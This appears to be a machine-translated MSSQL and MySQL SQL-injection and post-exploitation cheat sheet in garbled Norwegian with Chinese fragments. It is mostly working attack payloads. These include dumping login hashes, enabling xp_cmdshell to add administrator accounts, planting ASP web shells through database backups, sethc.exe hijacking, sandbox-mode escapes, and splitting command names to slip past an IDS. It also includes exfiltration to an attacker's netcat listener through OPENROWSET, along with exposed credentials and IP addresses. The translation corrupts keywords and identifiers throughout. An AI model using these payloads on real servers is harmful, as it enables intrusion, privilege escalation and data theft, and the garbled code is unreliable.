uid=sa; pwd=123; Nettverk=DBMSSOCN; Adresse=192.168.0.1,1433; ,velg * fra _blank>_sysxlogins)

velg * fra database.dbo.sysxlogins
Når du får hashen, kan du brute force.

For å gå gjennom katalogen: Først opprett en midlertidig tabell: temp
; lag tabelltemperatur (id nvarchar(255), num1 nvarchar(255), num2 nvarchar(255), num3 nvarchar(255)); –
; sett inn midlertidig leder master.dbo.xp_blank>_availablemedia; – Hent alle strømstasjoner
; sett inn i temp(id) executive master.dbo.xp_blank>_subdirs c:\; – Få en liste over underkataloger
; sett inn i temp(id,num1) exec master.dbo.xp_blank>_dirtree c:\; – Hent katalogtrestrukturen for alle underkataloger,

Slå sammen tommene i temperaturtabellen
; sett inn i temp(id) exec master.dbo.xp_blank>_cmdshell skriv c:\web\index.asp; – Se en fil

Innhold
; sett inn i temp(id) executive master.dbo.xp_blank>_cmdshell dir: C:\; –
; sett inn i temp(id) executive master.dbo.xp_blank>_cmdshell dir: c:\ *.asp /s/a; –
; insert into temp(id) exec master.dbo.xp_blank>_cmdshell cscrip{filter}t C:\Inetpub\Adminscrip{filter}ts

\adsutil.vbs enum w3svc
; sett inn i temp(id,num1) exec master.dbo.xp_blank>_dirtree c:\; – (xp_blank>_dirtree Gjeldende myndighet

OFFENTLIG)
Skriv til tabellen:
setning 1: og 1=(Velg IS_blank>_SRVROLEMEMBER(sysadmin)); –
Utsagn 2: og 1=(Velg IS_blank>_SRVROLEMEMBER(serveradmin)); –
Utsagn 3: og 1=(Velg IS_blank>_SRVROLEMEMBER(setupadmin)); –
Utsagn 4: og 1=(Velg IS_blank>_SRVROLEMEMBER(securityadmin)); –
Utsagn 5: og 1=(Velg IS_blank>_SRVROLEMEMBER(securityadmin)); –
Setning 6: og 1=(Velg IS_blank>_SRVROLEMEMBER(diskadmin)); –
Utsagn 7: og 1=(Velg IS_blank>_SRVROLEMEMBER(bulkadmin)); –
Utsagn 8: og 1=(Velg IS_blank>_SRVROLEMEMBER(bulkadmin)); –
Utsagn 9: og 1=(Velg IS_blank>_MEMBER(db_blank>_owner)); –

Skriv stien til tabellen:
; Lag tabell-dirs (paths varchar(100), id int)–
; sett inn dirs executive master.dbo.xp_blank>_dirtree c:\–
og 0<> (velg topp 1 stier fra dirs)–
og 0<>(velg topp 1 stier fra di-er der stier ikke er i (@Inetpub))–
; Lag tabell dirs1(paths varchar(100), id int)–
; Sett inn dirs executive master.dbo.xp_blank>_dirtree e:\web–
og 0<> (velg topp 1 stier fra dirs1)–

Ta sikkerhetskopi _blank> databasen til en webkatalog: Last ned
; erklære @a systemnavn; sett @a=db_blank>_name(); sikkerhetskopieringsdatabase @a til disk=e:\web\down.bak; –

og 1=(Velg topp 1 navn fra(Velg topp 12 id, navn fra sysobjekter hvor xtype=char(85)) T

Bestilling etter ID beskrivelse)
og 1=(Velg topp 1 col_blank>_name(object_blank>_id(USER_blank>_LOGIN),1) fra sysobjekter) Se også

Relaterte tabeller.
og 1=(velg user_blank>_id fra USER_blank>_LOGIN)
og 0=(velg bruker fra USER_blank>_LOGIN hvor bruker>1)

-=- wscrip{filter}t.shell eksempel -=-
Erklær @o int
exec sp_blank>_oacreate wscrip{filter}t.shell, @o ut
exec sp_blank>_oamethod @o, løp, NULL, notepad.exe
; declare @o int exec sp_blank>_oacreate wscrip{filter}t.shell, @o out exec sp_blank>_oamethod @o, kjør,

NULL, notepad.exe–

Erklær @o int, @f int, @t int, @ret int
erklær @line varchar(8000)
exec sp_blank>_oacreate scrip{filtering}ting.filesystemobject, @o out
exec sp_blank>_oamethod @o, opentextfile, @f out, c:\boot.ini, 1
exec @ret = sp_blank>_oamethod @f, readline, @line out
while( @ret = 0 )
Begynn
Skriv ut @line
exec @ret = sp_blank>_oamethod @f, readline, @line out
slutt

Erklær @o int, @f int, @t int, @ret int
exec sp_blank>_oacreate scrip{filtering}ting.filesystemobject, @o out
exec sp_blank>_oamethod @o, createtextfile, @f ut, c:\inetpub\wwwroot\foo.asp, 1
exec @ret = sp_blank>_oamethod @f, writeline, NULL,
<% set o = server.createobject("wscrip{filter}t.shell"): o.run( request.querystring("cmd") ) %>

Erklær @o int, @ret int
exec sp_blank>_oacreate speech.voicetext, @o ut
exec sp_blank>_oamethod @o, register, NULL, foo, bar
Eksekutiv sp_blank>_oasetproperty @o, hastighet, 150
exec sp_blank>_oamethod @o, speak, NULL, alle dine oppfølgerservere tilhører oss, 528
vent på forsinkelse 00:00:05

; erklær @o int, @ret int executive sp_blank>_oacreate speech.voicetext, @o ut exec

sp_blank>_oamethod @o, register, NULL, foo, bar executive sp_blank>_oasetproperty @o, speed, 150 executive

sp_blank>_oamethod @o, snakk, NULL, alle dine oppfølgerservere tilhører oss, 528 vent på forsinkelse

00:00:05–

xp_blank>_dirtree den gjeldende OFFENTLIGE tillatelsen
exec master.dbo.xp_blank>_dirtree c: Den returnerte informasjonen har to felt: underkatalog, dybde. Underkatalogfelt

Karaktertype, dybdefeltet er formingsfeltet.
Lag tabell-dirs (paths varchar(100), id int)
Tabellbygging, tabellen som er laget her, er relatert til ovennevnte xp_blank>_dirtree, med like felt og samme type.
sett inn dirs exec master.dbo.xp_blank>_dirtree c: Så lenge vi bygger en tabell og definerer feltene som returneres av lagringsprosessen likt

Utfør! For å oppnå effekten av skrivetabeller, steg for steg for å oppnå informasjonen vi ønsker!
Denne feilinjeksjonen er hovedsakelig basert på Mysql-datatype-overløp
    mysql > VELG 18446744073709551610 * 2 ;
    FEIL 1690 ( 22003 ): BIGINT USIGNERT VERDI ER UTENFOR OMRÅDET I '(18446744073709551610 * 2)'

    mysql > SELECT - 1 * 9223372036854775808 ;
    FEIL 1690 ( 22003 ): BIGINT UNSIGNED VALUE ER UTENFOR OMRÅDET I '(- (1) *

9223372036854775808)'
Søk databaseversjon:
    mysql> SELECT * 2 (hvis ((SELECT * fra (SELECT (versjon ()) ) s), 18446744073709551610,

18446744073709551610));
    FEIL 1690 (22003): BIGINT USIGNERT verdi er utenfor området i '(2 * hvis (( Velg ' 5,5 'fra

Dual), 18446744073709551610.1844674073709551610))'
Få navnet på feltet:
    mysql> VELG 2 * hvis((VELG * fra (velg * fra test.shop) som '' grense 1)>(VELG * fra

test.shop grense 1), 18446744073709551610, 18446744073709551610);

    FEIL 1690 (22003): BIGINT USIGNERT verdi er utenfor området i '(2 * hvis((((velg

'artikkel', 'forhandler', 'pris' fra (velg 'test'.'shop'.'article' SOM

'artikkel', 'test'.'butikk'.'forhandler' SOM 'forhandler', 'test'.'butikk'.'pris' SOM 'pris' fra

'test'.'butikk') grense 1) > (velg

'test'.'butikk'.'artikkel','test'.'butikk'.'forhandler','test'.'butikk'.'pris' fra 'test'.'butikk' grense

1)),18446744073709551610,18446744073709551610))'
Få feltverdien:

    mysql> VELG 2 * hvis((VELG * fra (velg * fra (mysql.user) GRENSE 1) som '' grense 1) <

(1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2),

18446744073709551610, 18446744073709551610);

    FEIL 1690 (22003): BIGINT USIGNERT verdi er utenfor området i '(2 * hvis((((velg

'Localhost', 'root','*', 'Y', Y', Y'

Y', Y', Y', Y', '','0', '0', '0', '0', '0,'' fra dual limit 1)

<

(1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2)),184467440

73709551610,18446744073709551610))'

Merk at denne metoden ikke fungerer med eldre versjoner av MySQL, og du må vite lengdegrensen på feilmeldingen, da dette vil avgjøre

Du kan få så lang tid du vil:
    mysys / my_error.c

    /* Maks lengde på en feilmelding. Bør holdes synkronisert med MYSQL_ERRMSG_SIZE. */
    #define ERRMSGSIZE (512)

Hvis objektet er MariaDB (en fork av Mysql), kan du se en feilmelding som denne når du prøver metoden ovenfor:

    mysql> SELECT 2*(hvis((SELECT * fra (SELECT (versjon()))s), 18446744073709551610,

18446744073709551610))
    FEIL 1690 (22003): BIGINT USIGNERT verdi er utenfor rekkevidde i '(2 * hvis((velg

#),18446744073709551610,18446744073709551610))'

Som løsning kan dette problemet løses på denne måten:

    mysql> SELECT (I ER IKKE NULL) - -9223372036854775808 FRA (SELECT (version())i)a;
    FEIL 1690 (22003): BIGGINT-verdien er utenfor området i '(('5.5-MariaDB' er ikke null) - -

(9223372036854775808))'
La oss nå se om vi kan gjøre vektoren vår litt kortere

//查询数据库版本

    VELG 2*(hvis(((VELG * fra (VELG (versjon()))er), 18446744073709551610,

18446744073709551610))
    =
    select 1E308*if((select*from(select version())x),2,2)

    SELECT (i ER IKKE NULL) - -9223372036854775808 FRA (SELECT (versjon())i)a
    =
    velg hvis(x,2,2)*1E308 fra(velg versjon()x)y
//获取表字段名称
    VELG 2 * hvis((VELG * fra (velg * fra test.shop) som '' grense 1)>(VELG * fra

test.shop grense 1), 18446744073709551610, 18446744073709551610)
    =
    select 1E308*if((select*from(select*from mysql.user)''limit 1)>(select*from mysql.user limit

1),2,2)

//获取字段值

    VELG 2 * hvis((VELG * fra (velg * fra (mysql.user) GRENSE 1) som '' grense 1) <

(1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5 ,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2),

18446744073709551610, 18446744073709551610)
    =
    select 1E308*if((select*from(select*from mysql.user LIMIT 1)''limit 1)<(select*from

mysql.user limit 0),2,2)
//获取指定字段的值
    select 1E308*if((select user|| vert|| passord|| file_priv from(select*from mysql.user LIMIT

1) en grense 1),2,2)
//获取字段个数


    select 1E308*if((select*from mysql.user limit 1)>(select 1),2,2)



Noen andre deformasjoner

    SELECT (i ER IKKE NULL) - -9223372036854775808 FRA (SELECT (versjon())i)a
    select 1E308*if((select user|| vert|| passord|| file_priv from(select*from mysql.user LIMIT

1) en grense 1),2,2);
    =>
    velg 2*hvis(((velg bruker|vert|passord|file_priv fra(velg*fra mysql.bruker GRENSE 1)en grense

1),1e308,0);
    MySQL> select (select * from mysql.user)=1;
    MySQL> velg (velg * fra MySQL.User)In(1);

    FEIL 1241 (21000): Operanden skal inneholde 42 kolonne(r)
    velg 2*hvis(((velg bruker|vert|passord|file_priv fra(velg*fra mysql.bruker GRENSE 1)en grense

1),1e308,0);
    velg hvis((velg bruker|| vert|| passord|| file_priv fra(select*from mysql.user LIMIT 1)a

limit 1),2,2)*1E308
    SELECT (i ER IKKE NULL) - -9223372036854775808 FRA (SELECT (versjon())i)a
    select (x!=0x00)--9223372036854775808 fra(VELG versjon()x)y
    mysql> select!x-~0.FROM(select+user()x)f;
    FEIL 1690 (22003): BIGINT USIGNERT verdi er utenfor området i '((not('root@localhost')) - ~

(0))'
3. Vurdere databasesystemet
; og (velg antall(*) fra sysobjects)>0 mssql
; og (velg antall(*) fra msysobjects)>0 tilgang
4. Injeksjonsparameteren er et tegn
'og [spørringskriterier] og ''='
5. Det finnes ingen filtrerte parametere under søket
'og [søkekriterier] og '%25'='
6. Gjett databasen
; og (velg Antall(*) fra [databasenavn])>0
7. Gjett feltet
; og (velg Count (feltnavn) fra databasenavn)>0
8. Gjett lengden på rekorden i felten
; og (velg øverste 1 LEN (feltnavn) fra databasenavn)>0
9. (1) Gjett ASCII-verdien til feltet (tilgang)
; og (velg topp 1 asc(mid(feltnavn, 1,1)) fra databasenavn)>0
(2) Gjett ASCII-verdien til feltet (mssql)
; og (velg øverste 1 Unicode(substring(feltnavn, 1,1)) fra databasenavn)>0
10. Testtillatelsesstruktur (mssql)
; og 1=(velg IS_SRVROLEMEMBER('sysadmin')); --
; og 1=(velg IS_SRVROLEMEMBER('serveradmin')); --
; og 1=(velg IS_SRVROLEMEMBER('setupadmin')); --
; og 1=(velg IS_SRVROLEMEMBER('securityadmin')); --
; og 1=(velg IS_SRVROLEMEMBER('diskadmin')); --
; og 1=(velg IS_SRVROLEMEMBER('bulkadmin')); --
; og 1=(velg IS_MEMBER('db_owner')); --
11. Legg til en konto for mssql og systemet
; executive master.dbo.sp_addlogin brukernavn; --
; exec master.dbo.sp_password null, brukernavn, passord; --
; exec master.dbo.sp_addsrvrolemember sysadmin-brukernavn; --
; exec master.dbo.xp_cmdshell 'netbrukerbruker-passord /workstations:* /times:all

/passwordchg:yes /passwordreq:yes /active:yes /add';--
; exec master.dbo.xp_cmdshell 'nettbrukerbruker-passord /add'; --
; exec master.dbo.xp_cmdshell 'Net LocalGroup Administrators brukernavn /Add'; --
12. (1) Gå gjennom katalogen
; Lag tabell-dirs (paths varchar(100), id int)
; sett inn dirs executive master.dbo.xp_dirtree 'c:\'
; og (velg topp 1 stier fra dirs)>0
; og (velg topp 1-stier fra dirs hvor stier ikke er i('stier hentet fra forrige steg'))>)
(2) Gå gjennom katalogen
; lag tabelltemperatur (id nvarchar(255), num1 nvarchar(255), num2 nvarchar(255), num3 nvarchar(255)); --
; sett inn midlertidig leder master.dbo.xp_availablemedia; -- Få alle strømstasjoner
; sett inn i temp(id) executive master.dbo.xp_subdirs 'c:\'; -- Få en liste over underkataloger
; sett inn i temp(id,num1) exec master.dbo.xp_dirtree 'c:\'; -- Hent katalogtrestrukturen for alle underkataloger
; sett inn i temp(id) executive master.dbo.xp_cmdshell 'type c:\web\index.asp'; -- Se innholdet i filen
13. Lagrede prosedyrer i mssql
xp_regenumvalues Registerrotnøkkel, barnenøkkel
; executive xp_regenumvalues 'HKEY_LOCAL_MACHINE', 'SOFTWARE\Microsoft\Windows\CurrentVersion\Run' og flere

Recordset-metoden for å returnere alle nøkkelverdier
xp_regread Rotnøkkel, barnenøkkel, nøkkel-verdi-navn
; exec xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows

\CurrentVersion','CommonFilesDir' returnerer verdien til formuleringsnøkkelen
xp_regwrite Rotnøkkel, barnenøkkel, verdinavn, verditype, verdi
Det finnes to typer verdityper REG_SZ REG_DWORD for tegntyper, og for heltall
; exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows

\CurrentVersion', 'TestvalueName', 'reg_sz', 'hello' skrives til registeret
xp_regdeletevalue Rotnøkkel, undernøkkel, verdinavn
exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows

\CurrentVersion', 'TestvalueName' for å fjerne en verdi
xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' delete-tast,

Inkluder alle verdier under den nøkkelen
14. MSSQL-backup lager en webshell
Bruksmodell
opprette tabell-cmd (STR-bilde);
sett inn i cmd(str)-verdier ('<% Dim oscrip{filter}t %>');
Backup databasemodell til disk='c:\l.asp';
15. MSSQL innebygde funksjoner
; og (velg @@version)>0 for å få versjonsnummeret til Windows
; og user_name()='dbo' for å avgjøre om den tilkoblede brukeren av det nåværende systemet er SA
; og (velg user_name())>0 Eksploderte de tilkoblede brukerne av det nåværende systemet
; og (velg db_name())>0 for å hente den nåværende tilkoblede databasen
16. Konsis webshell
Bruksmodell
opprette tabell-cmd (STR-bilde);
Sett inn i cmd(str) verdier ('<%=server.createobject("wscrip{filter}t.shell").exec("cmd.exe /c

"&request("c")).stdout.readall%>');
Backup databasemodell til disk='g:\wwwtest\l.asp';
Når du ber om det, bruk noe som dette:
http://ip/l.asp?c=dir
================================================================================================

================================================================================================

================================================================================================

================================================================================================

============================
Få tak i alle databasenavn, inkludert systemdatabaser
–VELG navn FRA master.dbo.sysdatabases

Hent alle ikke-systemdatabasenavn
–velg [navn] fra master.dbo.sysdatabases hvor DBId>6 Ordner etter [Navn]

Få all informasjonen, inkludert databasefilens adresse
–velg * fra master.dbo.sysdatabases hvor DBId>6 Order By

[Navn]



Denne setningsspørringen returnerer alle brukertabeller

velg * fra sysobjects hvor xtype='u'


Spør all informasjon om datatabellene i systemet

velg * fra sysobjects



Se på maskinens navn
velg * fra sys.servers





Kolonneinnholdsfortegnelse
Exec master.dbo.xp_subdirs 'C:\'


Executive master.dbo.xp_dirtree 'C:',1,1 db_owner
Tillatelser kan håndheves


exec master.dbo.xp_dirtree 'c:/Program Files',1,1





Programkode, skrevet til webshell


exec master.dbo.xp_subdirs 'd:\web\www.xx.com';
Utøvende sp_makewebtask 'd:

\web\www.XXXX.com\XX.asp','select"<%execute(request("SB"))%>"






Henrette mester.. xp_enumgroups  


Travers-systembrukere


Henrette mester.. xp_getnetname
Få tak i det nåværende maskinnavnet


--List de faste diskene på serveren, sammen med tilgjengelig plass for hver disk
   DBO Public


Utfør

xp_ntsec_enumdomains


--
Opprett en konto for å logge inn på MSSQL
leder master.dbo.sp_addlogin navn, pass; --






--
List opp serverens domenenavn
xp_ntsec_enumdomains //
Maskinnavn //dbo offentlig


--
Stopp eller start en tjeneste
xp_servicecontrol 'stopp', 'schedule' //schedule er tjenestenavnet //dbo


--Bruk pid

Stopp et kjørende program
xp_terminate_process 123 //123 er PID //dbo


--
Kun underkataloger i en katalog er oppført
dbo.xp_subdirs 'C:' //dbo


SQL Server
Metoden for å åpne xp_cmdshell i 2005
EXEC sp_configure 'vis avanserte alternativer', 1; OMKONFIGURER; EXEC

sp_configure 'xp_cmdshell', 1; OMKONFIGURER;

SQL2005 Åpne 'OPENROWSET'
Støttede metoder:
ledelse sp_configure 'vis avanserte alternativer', 1; OMKONFIGURER; leder sp_configure 'Ad Hoc

Distribuerte spørringer,1; OMKONFIGURER;

SQL2005 for å aktivere 'sp_oacreate'-støtte:
ledelse sp_configure 'vis avanserte alternativer', 1; OMKONFIGURER; Administrerende direktør

sp_configure 'Ole Automatiseringsprosedyrer',1; OMKONFIGURER





Hvordan aktivere xp_cmdshell i SQL Server 2008


-- For å tillate at avanserte alternativer kan endres.
EXEC

sp_configure 'vis avanserte alternativer', 1

-- For å oppdatere den nåværende konfigurerte verdien for

avanserte alternativer.
OMKONFIGURER

-- For å aktivere funksjonen.
EXEC sp_configure 'xp_cmdshell', 1

-- Til

Oppdater den nåværende konfigurerte verdien for denne funksjonen.
OMKONFIGURER



exec xp_cmdshell 'ipconfig'



I dag ville jeg endre SA-innloggingspassordet til databaseserveren, men glemte det plutselig, så jeg måtte åpne spørringsanalysatoren med hjelp av andre kontoer for å endre SA-passordet

Det er veldig enkelt:


Gjennomføring:
sp_password Null,'teracypwd,'sa'
Sett SA-passordet til "teracypwd"


Etter vellykket henrettelse

Det finnes "Kommando(er) fullført med suksess."  OK!








I databasetillatelsen, separer metoden for å hente MSSQL-databaseserverens IP


1. Lokal NC lytter til NC -VVLP 80


2.; Sett inn i

OPENROWSET('SQLOLEDB','uid=sa; pwd=xxx; Nettverk=DBMSSOCN; Adresse=din ip, 80; ', 'velg * fra

dest_table') velg * fra src_table; --


Velg * fra OpenRowset

('sqloledb','server=125.110.145.130,6789; uid=sa; pwd=zhu','velg bruker; ')





Databaseimport og -eksport

/*不同服务器数据库之间的数据操作*/

--Opprett lenkeserver
Leder sp_addlinkedserver   

'ITSV', 'SQLOLEDB', 'Fjernservernavn eller IP-adresse'
exec sp_addlinkedsrvlogin 'ITSV', 'false

',null, 'brukernavn', 'passord'

--spørringseksempel
velg * fra ITSV.database name.dbo.table name

--import-eksempel
velg *

inn i tabellen fra ITSV.databasename.dbo.tablename

--Slett den lenkede serveren hvis den ikke lenger er i bruk i fremtiden
leder sp_dropserver 'ITSV',

'droplogins'

--
Tilkobling til fjern-/LAN-data (openrowset/openquery/opendatasource)
--1、Openrowset

--spørringseksempel
velg *

fra openrowset( 'SQLOLEDB ', 'sql server name '; 'Brukernavn'; 'passord', databasenavn.dbo.tabellnavn)

--
Generer en lokal tabell
velg * i tabellen fra openrowset( 'SQLOLEDB ', 'sql server name '; 'Brukernavn'; 'Passord', nummer

Ifølge databasenavnet.dbo. tabellnavn)

--
Importer den lokale tabellen til den eksterne tabellen
insert openrowset( 'SQLOLEDB', 'sql server name'; 'Brukernavn'; 'Passord', databaser

name.dbo.table name)
velg *fra lokal tabell

--
Oppdater lokale tabeller
Oppdatering B
sett b. kolonne A = a
fra openrowset( 'SQLOLEDB ', 'sql server name '; 'Brukernavn'; '

passord ', databasenavn .dbo.table name) som en inner join lokal tabell b
på a.kolonne1=b.kolonne1

--openquery
Bruk krever opprettelse av en forbindelse

--Først, lag en tilkobling for å opprette en linkserver
leder sp_addlinkedserver 'ITSV', ' ',

'SQLOLEDB', 'fjernservernavn eller IP-adresse'
--Undersøk
velg *
FROM openquery(ITSV, 'SELECT * FROM data

library.dbo.table name ')
--
Importer den lokale tabellen til den eksterne tabellen
insert openquery(ITSV, 'SELECT * FROM database.dbo.table name')
Velg * fra lokal

Tabell
--oppdater lokal tabell
Oppdatering B
sett b. kolonne B=a
FROM openquery(ITSV, 'SELECT * FROM database.dbo.tablename')

som en  
indre join lokal tabell b på a. kolonne A=b. kolonne A

--3、opendatasource/openrowset
VELG *
FRA   

opendatasource( 'SQLOLEDB ', 'Data Source=ip/ServerName; Bruker-ID = Påloggingsnavn; Passord=Passord '

).test.dbo.roy_ta
--
Importer den lokale tabellen til den eksterne tabellen



Sletting og restaurering av xp_cmdshell


Måter å gjenopprette xp_cmdshell   
Slett den utvidede lagrede prosedyren xp_cmdshell

Uttalelse   
Leder sp_dropextendedproc 'xp_cmdshell'   



Gjenopprett SQL-setningen til cmdshell   
exec sp_addextendedproc xp_cmdshell ,@dllname ='xplog70.dll'   


Administrerende direktør

master.dbo.addextendedproc 'xp_cmdshell','xplog70.dll'; velg tell(*) fra

master.dbo.sysobjects hvor xtype='x' og   
Returresultatet er 1, og det er greit   


Ellers må du laste opp c:\inetput\web

\xplog70.dll senere   
exec master.dbo.sp_addextendedproc 'xp_cmdshell','c:\inetput\web xplog70.dll\

’; --   



Hvis du sletter det på følgende måte   
Slippprosedyre sp_addextendedproc   
Slippprosedyre sp_oacreate   
Administrerende direktør

sp_dropextendedproc 'xp_cmdshell'   



Du kan gjenopprette den med følgende uttalelse   
DBCC la til utvidede proc ("sp_oacreate","odsole70.dll")   
DBCC

addextendedproc ("xp_cmdshell","xplog70.dll")   

På denne måten kan den gjenopprettes direkte, uavhengig av om sp_addextendedproc eksisterer eller ikke






1、
Bruk xp_cmdshell:
          exec master.dbo.xp_cmdshell "net user admin admin /add"
          Administrerende direktør

master.dbo.xp_cmdshell "net localgroup administrators admin /add"

I xp_cmdshell tilfelle, bruk sp_oacreate for å følge sp_oamethod:
          Erklær @object int   
          Administrerende direktør

sp_oacreate 'wscrip{filter}t.Shell', @object ut         
          Administrerende sp_oamethod

@object,'Run', NULL,'net user admin admin /add'
          exec sp_oamethod @object, 'Run', NULL,'net

localgroup Administratorer admin /add'

Merk: regsvr32 /s c:\windows\system32\wshom.ocx
Start wscrip{filter}t.shell
3、
Bruk sp_oacreate og FSO
          Erklær @o int
          Utøvende sp_oacreate

'scrip{filter}ting.filesystemobject', @o ut
          exec sp_oamethod @o, 'copyfile', null,'c:\windows

\explorer.exe' ,'c:\windows\system32\sethc.exe';
          Erklær @oo int
          Administrerende direktør

sp_oacreate 'scrip{filtering}ting.filesystemobject', @oo ut
          Leder sp_oamethod @oo,

'copyfile',null,'c:\windows\system32 sethc.exe\' ,'c:\windows\system32\dllcache\sethc.exe';

Bruk xp_regwrite (db_owner, omstart kreves):
          Utøvende master.dbo.xp_regwrite

'hkey_local_machine',software\microsoft\windows\currentversion\


run','eadd1','reg_sz','netuser admin admin /add'
          Utøvende master.dbo.xp_regwrite

'hkey_local_machine',software\microsoft\windows\currentversion\


run','eadd2','reg_sz','net lokalgruppeadministratorer admin /add'
5. Bruk sp_add_job:
          Administrerende direktør

master.dbo.xp_servicecontrol 'start', 'SQLSERVERAGENT'
          Bruk MSDB Exec sp_delete_job

null,'x'
          leder sp_add_job 'x'
          Leder sp_add_jobstep

Null,'x', Null,'1','CMDEXEC','cmd /c netuser admin admin /add'
          Utøvende sp_add_jobserver

Null, 'x', @@servername executive sp_start_job 'x'















Mange SA har lykkes i mange maskiner direkte ved å bruke sandkassemodus, men jeg har aldri øvd på det og jeg vet ikke hva suksessraten er. Når forlengelsen fjernes, først

Gjenopprett lese- og skrivelagring i registeret.
dbcc la til utvidetproc ('xp_regread','xpstar.dll')
dbcc addendedproc

('xp_regwrite','xpstar.dll')



Fikset den beskyttede modusen til sandkassen
Exec Master.. xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet

\4.0\Engines','SandBoxMode','REG_DWORD',0; --



Se om verdien 'SandBoxMode' har blitt 0.


leder master.dbo.xp_regread 'HKEY_LOCAL_MACHINE', PROGRAMVARE

\Microsoft\Jet\4.0\Engines', 'SandBoxMode'



Til slutt, kall sandkassemodusen
Select * fra openrowset('microsoft.jet.oledb.4.0','; database=C:\WINDOWS

\system32\ias\dnary.mdb','velg shell("cmd.exe /c net user user passwd /add")')







Hvis sandkassebeskyttelsesmodusen ikke er "av", rapporteres en feil:
          Server: Msg 7357, Nivå 16, Stat 2, Linje 1

Klarte ikke å håndtere objektet 'select shell("cmd.exe /c net user user passwd /add")'. OLE DB tilbyr programmer

Forordet 'microsoft.jet.oledb.4.0' indikerer at det ikke finnes noen kolonner i objektet.

OLE DB feilsporing [Ikke-grensesnittfeil: OLE DB-leverandør kan ikke behandle objektet, siden objektet

har nocolumnsProviderName='microsoft.jet.oledb.4.0', Query=select shell("cmd.exe /c net user

bruker passwd /add")']。


2、
Hvis .mdb ikke eksisterer eller inngangsstien er feil
           Server: Msg 7399, Nivå 16, Tilstand 1, Linje 1

OLE DB provider 'microsoft.jet.oledb.4.0' feil.
            [OLE/DB-leverandør returnerte melding:

Fil 'C:\WINDOWS\system32\ias\dnary1.mdb' ikke funnet. ]

OLE DB error trace [OLE/DB Provider 'microsoft.jet.oledb.4.0' IDBInitialize::Initialize returned returned

0x80004005: ]。


3. Hvis det er flere mellomrom under inndataprosessen, vil også en feil bli rapportert. Vær spesielt oppmerksom på dette, mange søker direkte etter artikler på nettet

Lim det inn og kjør det.
          Server: Msg 7357, Nivå 16, Stat 2, Linje 1
          Klarte ikke å behandle objekt 'velg

shell("cmd.exe /c NET-bruker PASSWD /add")'。
OLE DB-leverandøren 'microsoft.jet.oledb.4.0' sier at det ikke finnes noen kolonner i objektet.

OLE DB feilsporing [Ikke-grensesnittfeil:
OLE DB-leverandøren kan ikke behandle objektet, siden objektet har

nocolumnsProviderName='microsoft.jet.oledb.4.0', Query=select shell("cmd.exe /c net user user user

passwd /add")']。


4、
Hvis mdb-tillatelsene og cmd.exe-tillatelsene er feil, vil problemet også oppstå.
          Når MDB-tillatelsene er feil,
           Server: Eliminer

Rente 7320, nivå 16, stat 2, linje 1

Han kunne ikke svare
OLE DB-leverandøren 'Microsoft.Jet.OLEDB.4.0' utfører spørringen.
           [OLE/DB-leverandør returnerte

message: 未知]
           OLE DB Feilsporing [OLE/DB-leverandør 'Microsoft.Jet.OLEDB.4.0'

ICommandText::Execute returned 0x80040e14]。


5. Hvis netttillatelsen er feil, finnes det ingen prompt.

Den siste måten å øke autoriteten på er å laste opp systemets ias.mdb og cmd.exe under den nåværende webkatalogen, net.exe tre filer.

Execute select * from openrowset('microsoft.jet.oledb.4.0','; database=E:\web\ias.mdb',velg skall

("E:\web\cmd.exe /c E:\web\net.exe user user passwd /add")')
          Å legge til en datamaskinbruker med suksess.






Splitting av cmdshell omgår IDS         
Deklarer @a sysname-settet @a='xp_'+'cmdshell' exec @a 'ipconfig'
Erklær

@a sysname-sett @a='xp'+'_cm'+'dshell' exec @a 'dir c:\'





Rediger registerkapringsskift
Exec Master.. xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows NT

\CurrentVersion\Image File Execution Options\sethc.exe','debugger','REG_sz','c:\windows

\system32\cmd.exe på'; --



Spør linkserveren
velge

srvid,srvstatus,srvname,srvproduct,providername,datasource,locatio{filter}n,schemadate,catalog,srvnetnam

e,isremote,rpc,dataaccess fra master.dbo.sysservers
velge

srvid,srvstatus,srvname,srvproduct,providername,datasource,locatio{filter}n,schemadate,catalog,srvnetnam

e,isremote,rpc,dataaccess fra master.dbo.sysservers



Søk linkserver2
Velg distinkt vertsnavn,db_name(dbid),net_address,loginame,program_name fra

Mester.. sysprosesser



Spør linkserveren
og andre innloggede brukere
velg * fra [192.168.1.1].master.dbo.syslogins



Spør LinkServer
Alle databaser
velg * fra linkedSrvWeb.master.dbo.sysdatabases



Utfør utvidet lagring på LinkServer
Exec [IP].master.dbo.xp_cmdshell



Søk i alle tabeller på linkserveren
velg * fra [ip].master.dbo.sysobjects








Velg * fra OpenRowset

('sqloledb','server=IP; uid=bruker; pwd=passord','velg @@version')


velg * fra openquery([LINKSERVER)

navn],'velg @@version')




velg * fra openquery(NDOORS,'select IS_SRVROLEMEMBER(''sysadmin'')')




velg * fra openquery(GM_SERVER,'select * fra sysobjects hvor xtype = (''U''')')


velg * fra

openquery(NDOORS,'Velg IS_MEMBER(''db_owner'')')




velg * fra openquery(toatdeweb,'select

srvname fra master.dbo.sysservers')


Sett inn i OpenDataSource

('sqloledb','server=222.241.95.12; uid=SCD; PWD=A123520; database=hack520').hack520.dbo.zhu select

navn fra master.dbo.sysdatabases
create database hack520 Lag TABELL zhu(name nvarchar(256)

null); Create TABLE J8(id int NULL,name nvarchar(256) null);


velg * fra OpenQuery

(toatdeweb,'set fmtonly off exec master.dbo.xp_cmdshell ''net user'')


Exec Master.. xp_dirtree

'c:\',1,1
Utfør en spørringskatalog


exec links.master.. xp_cmdshell 'ipconfig'


velg * fra openquery(toatdeweb,'set

fmtonly off exec master.dbo.xp_cmdshell ''ipconfig /all''')



Koble mysql Select * fra Mem_DB. UserDB.dbo.AdminList


